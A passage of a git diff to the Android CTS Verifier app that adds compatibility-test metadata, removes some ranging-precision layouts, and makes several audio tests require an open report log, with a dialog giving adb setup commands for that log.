android:value="android.hardware.type.automotive:android.hardware.ram.low" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.2/C-1-2,C-1-3" />
</activity>
<activity android:name=".deskclock.DeskClockTestsActivity"
@@ -4991,6 +5077,8 @@
android:value="android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback" />
</activity>
<activity android:name=".tv.TvInputDiscoveryTestActivity"
@@ -5054,6 +5142,7 @@
android:exported="true"
android:launchMode="singleTask">
<intent-filter>
+ <action android:name="android.intent.action.VIEW" />
<action android:name="android.intent.action.MAIN" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
@@ -5062,6 +5151,8 @@
android:value="android.software.live_tv" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest"
+ android:value="3.12/C-1-2" />
</activity>
<activity android:name=".tv.MicrophoneDeviceTestActivity"
@@ -5143,6 +5234,7 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="CddTest" android:value="3.8.8/C-1-2"/>
</activity>
<activity android:name=".tv.MockTvInputSetupActivity"
@@ -5629,6 +5721,8 @@
android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.content.Intent#CATEGORY_CAR_DOCK" />
</activity>
<activity android:name=".car.CarDockActivity"
@@ -5641,6 +5735,8 @@
</intent-filter>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.content.Intent#CATEGORY_CAR_DOCK" />
</activity>
<!-- See explaination in CarDockTestActivity.java -->
@@ -5670,6 +5766,7 @@
<meta-data android:name="test_category" android:value="@string/test_category_car" />
<meta-data android:name="test_required_features"
android:value="android.hardware.type.automotive"/>
+ <meta-data android:name="CddTest" android:value="8.3/A-1-3|8.3/A-1-4" />
</activity>
<activity android:name=".car.PowerPolicyTestActivity"
@@ -5684,6 +5781,8 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.car.hardware.power.CarPowerManager#getCurrentPowerPolicy" />
</activity>
<activity-alias android:name=".car.CarDockActivity2"
@@ -5713,6 +5812,8 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.car.VehiclePropertyIds#GEAR_SELECTION" />
</activity>
<activity android:name=".car.ParkingBrakeOnTestActivity"
@@ -5728,6 +5829,8 @@
android:value="android.hardware.type.automotive"/>
<meta-data android:name="display_mode"
android:value="multi_display_mode" />
+ <meta-data android:name="ApiTest"
+ android:value="android.car.VehiclePropertyIds#PARKING_BRAKE_ON" />
</activity>
<activity android:name=".car.CarLauncherTestActivity"
@@ -6172,6 +6275,7 @@
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
<meta-data android:name="test_category" android:value="@string/test_category_logcat" />
+ <meta-data android:name="test_excluded_features" android:value="android.hardware.type.automotive" />
</activity>
<activity android:name=".displaycutout.DisplayCutoutTestActivity"
diff --git a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml b/apps/CtsVerifier/res/layout/ble_rssi_precision.xml
deleted file mode 100644
index 5f01e1fc442..00000000000
--- a/apps/CtsVerifier/res/layout/ble_rssi_precision.xml
+++ /dev/null
@@ -1,60 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding"
- tools:ignore="Autofill">
-
- <ScrollView
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
-
- <LinearLayout
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
-
- <TextView
- android:text="@string/ble_rssi_precision_test_instructions"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical" />
-
- <EditText
- android:id="@+id/report_rssi_range"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_ble_rssi_range"
- android:inputType="number" />
-
- <EditText
- android:id="@+id/report_reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"
- android:inputType="text" />
-
- <include
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons" />
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml b/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml
deleted file mode 100644
index 3ca955b7e30..00000000000
--- a/apps/CtsVerifier/res/layout/ble_rx_tx_calibration.xml
+++ /dev/null
@@ -1,66 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?><!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding"
- tools:ignore="Autofill">
-
- <ScrollView
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
-
- <LinearLayout
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
-
- <TextView
- android:text="@string/ble_rx_tx_calibration_test_instructions"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical" />
-
- <EditText
- android:id="@+id/report_channels_rssi_range"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_channels_ble_rssi_range"
- android:inputType="number" />
-
- <EditText
- android:id="@+id/report_cores_rssi_range"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_cores_ble_rssi_range"
- android:inputType="number" />
-
- <EditText
- android:id="@+id/report_reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"
- android:inputType="text" />
-
- <include
- android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons" />
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/clipboard_preview.xml b/apps/CtsVerifier/res/layout/clipboard_preview.xml
index 85f38c8eef7..efec118cb4d 100644
--- a/apps/CtsVerifier/res/layout/clipboard_preview.xml
+++ b/apps/CtsVerifier/res/layout/clipboard_preview.xml
@@ -31,86 +31,6 @@
android:layout_marginBottom="100dp"
android:layout_marginTop="30dp"
android:text="@string/clipboard_preview_test_copy_button"/>
-
- <TableLayout
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TableRow
- android:layout_width="match_parent"
- android:layout_height="50dp">
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b1"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="1"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b2"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="2"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b3"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="3"/>
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- </TableRow>
- <TableRow
- android:layout_width="match_parent"
- android:layout_height="50dp">
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b4"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="4"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b5"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="5"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b6"
- android:layout_width="50dp"
- android:layout_height="50dp"
- android:text="6"/>
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- </TableRow>
- <TableRow
- android:layout_width="match_parent"
- android:layout_height="50dp">
- <View android:layout_weight="3"
- android:layout_height="match_parent"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b7"
- android:layout_width="50dp"
- android:layout_height="match_parent"
- android:text="7"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b8"
- android:layout_width="50dp"
- android:layout_height="match_parent"
- android:text="8"/>
- <Button android:layout_weight="1"
- android:id="@+id/clipboard_preview_test_b9"
- android:layout_width="50dp"
- android:layout_height="match_parent"
- android:text="9"/>
- <View android:layout_weight="3"
- android:layout_height="50dp"/>
- </TableRow>
- </TableLayout>
- <Button
- android:id="@+id/clipboard_preview_test_b0"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:layout_gravity="center"
- android:text="0"/>
<include
android:id="@+id/clipboard_preview_test_pass_fail"
android:layout_width="match_parent"
diff --git a/apps/CtsVerifier/res/layout/nan_precision.xml b/apps/CtsVerifier/res/layout/nan_precision.xml
deleted file mode 100644
index c81a9c4f120..00000000000
--- a/apps/CtsVerifier/res/layout/nan_precision.xml
+++ /dev/null
@@ -1,92 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2022 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License.
- -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding">
- <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView android:text="@string/nan_precision_instruction"
- android:id="@+id/nan_precision_instruction"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"/>
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <EditText android:id="@+id/nan_bandwidth"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="number"
- android:hint="@string/report_nan_bandwidth_mhz"/>
- <EditText android:id="@+id/distance_range_10cm_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_10cm_gt_68p"/>
- <EditText android:id="@+id/distance_range_1m_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_1m_gt_68p"/>
- <EditText android:id="@+id/distance_range_3m_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_3m_gt_68p"/>
- <EditText android:id="@+id/distance_range_5m_gt_68p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_5m_gt_68p"/>
- <EditText android:id="@+id/distance_range_10cm_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_10cm_gt_90p"/>
- <EditText android:id="@+id/distance_range_1m_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_1m_gt_90p"/>
- <EditText android:id="@+id/distance_range_3m_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_3m_gt_90p"/>
- <EditText android:id="@+id/distance_range_5m_gt_90p"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_5m_gt_90p"/>
- <EditText android:id="@+id/reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"/>
- </LinearLayout>
-
- <include android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/uwb_precision.xml b/apps/CtsVerifier/res/layout/uwb_precision.xml
deleted file mode 100644
index 14e996d6f5f..00000000000
--- a/apps/CtsVerifier/res/layout/uwb_precision.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding">
- <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView android:text="@string/uwb_precision_instruction"
- android:id="@+id/uwb_precision_instruction"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"/>
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <EditText android:id="@+id/distance_range_cm"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:inputType="numberDecimal"
- android:hint="@string/report_distance_range_cm"/>
- <EditText android:id="@+id/reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"/>
- </LinearLayout>
-
- <include android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/layout/uwb_short_range.xml b/apps/CtsVerifier/res/layout/uwb_short_range.xml
deleted file mode 100644
index 9afc6e5a6b4..00000000000
--- a/apps/CtsVerifier/res/layout/uwb_short_range.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical"
- style="@style/RootLayoutPadding">
- <ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="wrap_content">
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <TextView android:text="@string/uwb_short_range_instruction"
- android:id="@+id/uwb_short_range_instruction"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:scrollbars="vertical"/>
- <LinearLayout android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="wrap_content">
- <EditText android:id="@+id/distance_median_meters"
- android:layout_width="wrap_content"
- android:inputType="numberDecimal"
- android:layout_height="wrap_content"
- android:hint="@string/report_distance_median_meters"/>
- <EditText android:id="@+id/reference_device"
- android:layout_width="wrap_content"
- android:layout_height="wrap_content"
- android:hint="@string/report_reference_device"/>
- </LinearLayout>
-
- <include android:layout_width="match_parent"
- android:layout_height="wrap_content"
- layout="@layout/pass_fail_buttons"/>
- </LinearLayout>
- </ScrollView>
-</RelativeLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 9efb079cbe5..631f8235e82 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -32,6 +32,16 @@
<string name="finish_button_text">Finish</string>
<string name="fail_and_next_button_text">Fail and Next</string>
+ <!-- Strings for CtsReportLog warning -->
+ <string name="reportlog_warning_title">CTS-Verifier Report Log</string>
+ <string name="reportlog_warning_body">Can\'t create folder for CTS-Verifier Report Logs.
+ \n\nPlease enable Report Log creation by exiting CTS Verifier and running the following commands:
+ \n\n<code>adb shell appops set com.android.cts.verifier android:read_device_identifiers allow</code>
+ \n\n<code>adb shell appops set com.android.cts.verifier MANAGE_EXTERNAL_STORAGE 0</code>
+ \n\nTest instructions are found in the \"Using CTS Verifier\" document found at
+ <a href="https://source.android.com/compatibility/cts/verifier">https://source.android.com/compatibility/cts/verifier</a>
+ </string>
+
<!-- Strings for TestListActivity -->
<string name="test_category_audio">Audio</string>
<string name="test_category_camera">Camera</string>
@@ -301,9 +311,12 @@
</string>
<string name="clipboard_preview_test_instructions">
Press the \'Copy\' button to copy the secret code to the clipboard.
- \n\nUse the clipboard preview UI, or the clipboard editor component to view the secret code.
- \n\nEnter the secret code using the buttons below.
+ \nDo not press any other buttons after you press the \'Copy\' button.
+ \n\n If nothing happens, press Fail.
+ \n\n If you see the word "FAIL" appear on screen, press Fail.
+ \n\n If you see a confirmation that content has been copied to the clipboard, press Pass.
</string>
+ <string name="clipboard_preview_test_secret">FAIL</string>
<string name="clipboard_preview_test_copy_button">Copy</string>
@@ -778,7 +791,7 @@
<!-- BLE Advertising Set test strings -->
<string name="ble_advertising_set_test_name">Bluetooth LE Advertising Set Test</string>
<string name="ble_advertising_set_test_info">Bluetooth LE Advertising Set tests AdvertisingSet and AdvertisingSetCallback APIs.</string>
- <string name="ble_advertising_set_test_instruction">Press the \"Set Up\" button first, then start the test by pressing the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
+ <string name="ble_advertising_set_test_instruction">Press the \"Start Test\" button. UI thread may freeze for a few seconds while enabling/disabling bluetooth adapter.</string>
<string name="ble_advertising_set_start_test">Start Test</string>
<string name="ble_advertising_set_running_test">Running Test...</string>
<string name="ble_advertising_set_finished_test">Finished Test</string>
@@ -2125,10 +2138,6 @@
device was p2p device. Check the test case on the other device.</string>
<string name="p2p_connection_error">
Test failed.\n\nFailed to establish a p2p connection.</string>
- <string name="p2p_connection_latency_error">
- Test failed. \n\nConnection was expected to be established within %1$dms. But took=%2$dms.
- \n\nPlease ensure that the Group Owner is ready on the other device before running
- this test</string>
<string name="p2p_detect_disconnection_error">
Test failed.\n\nFailed to detect client disconnection.</string>
<string name="p2p_disconnect_error">
@@ -2450,16 +2459,6 @@
icon, large icon, notification title, notification text, and two action buttons.
If this device does not support heads-up notifications, press Pass.</string>
<string name="action">Action %1$d</string>
- <string name="media_controls_title">Media Controls Test</string>
- <string name="media_controls_info">This test checks that media controls appear in the shade for
- applications that post a media style notification.</string>
- <string name="media_controls_visible">Pull down the notification shade and check that the media
- controls from the CTS Verifier app are visible.
- </string>
- <string name="media_controls_output_switcher_chip">Pull down the notification shade and look at
- the media controls for the CTS Verifier app.
- Check that it contains an affordance to switch between available media routes.
- </string>
<string name="tile_service_name">Tile Service for CTS Verifier</string>
<string name="tiles_test">Tile Service Test</string>
<string name="tiles_info">This test checks that a Tile Service added by a third party
@@ -3755,6 +3754,11 @@ You should be prompted to select credentials; choose the ones you just installed
Device Owner. Then press the button below, and check that CTSVerifier is NOT Device
Owner anymore.
</string>
+ <string name="device_owner_remove_device_owner_test_info_on_tv">
+ Please check in Settings &gt; Privacy &gt; Security &amp; Restrictions &gt; Device Administrators if CTSVerifier is
+ Device Owner. Then press the button below, and check that CTSVerifier is NOT Device
+ Owner anymore.
+ </string>
<string name="remove_device_owner_button">Remove device owner</string>
<string name="device_owner_check_device_owner_test">Check device owner</string>
<string name="device_owner_check_profile_owner_test">Check profile owner</string>
@@ -4059,12 +4063,13 @@ You should be prompted to select credentials; choose the ones you just installed
<string name="device_owner_disallow_config_bt">Disallow configuring Bluetooth</string>
<string name="device_owner_disallow_config_bt_info">
Please press the Set restriction button to set the user restriction.
- Then press Go to open the Bluetooth page in Settings.
- Confirm that:\n
- \n
+ Then press Go, you should either see (a) the Bluetooth settings page or (b) trigger a support message directly.\n
+ In the case of (a), confirm that:\n
- You cannot view Bluetooth devices in range.\n
- Trying to edit, add or remove any already paired devices triggers a support message.\n
\n
+ In the case of (b) this step is successful.\n
+ \n
Use the Back button to return to this page.
</string>
<string name="device_owner_disallow_config_wifi">Disallow configuring WiFi</string>
@@ -5484,6 +5489,7 @@ You should be prompted to select credentials; choose the ones you just installed
<string name="audio_general_test_not_run">Test Not Run</string>
<string name="audio_general_testnotcompleted">Test not completed.</string>
+ <string name="audio_general_reportlogtest">[Can\'t Write ReportLog]</string>
<!-- Audio Loopback Latency Test -->
<string name="audio_loopback_latency_test">Audio Loopback Latency Test</string>
@@ -6385,6 +6391,12 @@ Follow the instructions on the screen to measure the frequency response for the
bubble does NOT appear on screen. Verify that there is a notification in the notification
shade.</string>
<string name="bubbles_test_lowram_button">Add bubble</string>
+ <!-- Disable bubbles by config_supportsBubble -->
+ <string name="bubbles_test_disable_config_title">No bubbles on bubbles disabled device</string>
+ <string name="bubbles_test_disable_config_verify">Click the button below and verify that a
+ bubble does NOT appear on screen. Verify that there is a notification in the notification
+ shade.</string>
+ <string name="bubbles_test_disable_config_button">Add bubble</string>
<!-- Bubbles end of test summary -->
<string name="bubbles_test_summary_title">Test Complete</string>
<string name="bubbles_test_summary">%1$d out of %2$d tests passed</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
index b013bb7180e..a93e3b58c33 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/CtsVerifierReportLog.java
@@ -74,6 +74,10 @@ public class CtsVerifierReportLog extends ReportLog {
}
}
+ public boolean isOpen() {
+ return mStore != null;
+ }
+
/**
* Closes report file. Static functions that do not have access to instrumentation can
* use this to close report logs. Summary, if present, is not reported to instrumentation, hence
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
index 0294ff78e7c..36975c251d7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/PassFailButtons.java
@@ -32,7 +32,6 @@ import android.database.Cursor;
import android.os.Bundle;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
-import android.util.Log;
import android.view.LayoutInflater;
import android.view.MenuItem;
import android.view.View;
@@ -143,11 +142,13 @@ public class PassFailButtons {
public static class Activity extends android.app.Activity implements PassFailActivity {
private WakeLock mWakeLock;
- private final CtsVerifierReportLog mReportLog;
+ private CtsVerifierReportLog mReportLog;
private final TestResultHistoryCollection mHistoryCollection;
+ protected boolean mRequireReportLogToPass;
+
public Activity() {
- this.mReportLog = new CtsVerifierReportLog(getReportFileName(), getReportSectionName());
+ newReportLog();
this.mHistoryCollection = new TestResultHistoryCollection();
}
@@ -159,6 +160,10 @@ public class PassFailButtons {
.newWakeLock(PowerManager.SCREEN_DIM_WAKE_LOCK, "PassFailButtons");
mWakeLock.acquire();
}
+
+ if (!this.mReportLog.isOpen()) {
+ showReportLogWarningDialog(this);
+ }
}
@Override
@@ -206,12 +211,25 @@ public class PassFailButtons {
getHistoryCollection());
}
+ protected CtsVerifierReportLog newReportLog() {
+ return mReportLog = new CtsVerifierReportLog(
+ getReportFileName(), getReportSectionName());
+ }
+
@Override
public CtsVerifierReportLog getReportLog() {
return mReportLog;
}
/**
+ * A mechanism to block tests from passing if no ReportLog data has been collected.
+ * @return true if the ReportLog is open OR if the test does not require that.
+ */
+ public boolean isReportLogOkToPass() {
+ return !mRequireReportLogToPass || mReportLog.isOpen();
+ }
+
+ /**
* @return The name of the file to store the (suite of) ReportLog information.
*/
@Override
@@ -527,6 +545,12 @@ public class PassFailButtons {
activity.showDialog(INFO_DIALOG_ID, args);
}
+ protected static void showReportLogWarningDialog(final android.app.Activity activity) {
+ showInfoDialog(activity,
+ R.string.reportlog_warning_title, R.string.reportlog_warning_body, -1);
+ }
+
+
protected static Dialog createDialog(final android.app.Activity activity, int id, Bundle args) {
switch (id) {
case INFO_DIALOG_ID:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
index 528d9149588..83b32def714 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java
@@ -182,12 +182,15 @@ public class AnalogHeadsetAudioActivity
mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass_noheadset));
return true;
} else {
- boolean pass = mPlugIntentReceived &&
- mHeadsetDeviceInfo != null &&
- mPlaybackSuccess &&
- (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
+ boolean pass = isReportLogOkToPass()
+ && mPlugIntentReceived
+ && mHeadsetDeviceInfo != null
+ && mPlaybackSuccess
+ && (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown;
if (pass) {
mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass));
+ } else if (!isReportLogOkToPass()) {
+ mResultsTxt.setText(getResources().getString(R.string.audio_general_reportlogtest));
}
return pass;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
index 48795efc142..3c1b8a1151e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioAEC.java
@@ -542,8 +542,10 @@ public class AudioAEC extends AudioFrequencyActivity implements View.OnClickList
Log.v(TAG, "Test EndedOk. " + testId + " str:"+str);
showView(mProgress, false);
mResultTest.setText("test completed. " + str);
- if (mTestAECPassed) {
- getPassButton().setEnabled(true);;
+ if (!isReportLogOkToPass()) {
+ mResultTest.setText(getResources().getString(R.string.audio_general_reportlogtest));
+ } else if (mTestAECPassed) {
+ getPassButton().setEnabled(true);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index 38d99b4b827..030e44f58ba 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -32,6 +32,7 @@ import android.widget.TextView;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils;
import com.android.cts.verifier.CtsVerifierReportLog;
import com.android.cts.verifier.R;
@@ -127,14 +128,8 @@ public class AudioInputRoutingNotificationsActivity extends AudioWiredDeviceBase
String msg = mContext.getResources().getString(
R.string.audio_routingnotification_recordRoutingMsg);
AudioDeviceInfo routedDevice = audioRecord.getRoutedDevice();
- CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
- mConnectedPeripheralName = deviceName.toString();
-
- int deviceType = routedDevice != null ? routedDevice.getType() : -1;
- textView.setText(msg + " - " +
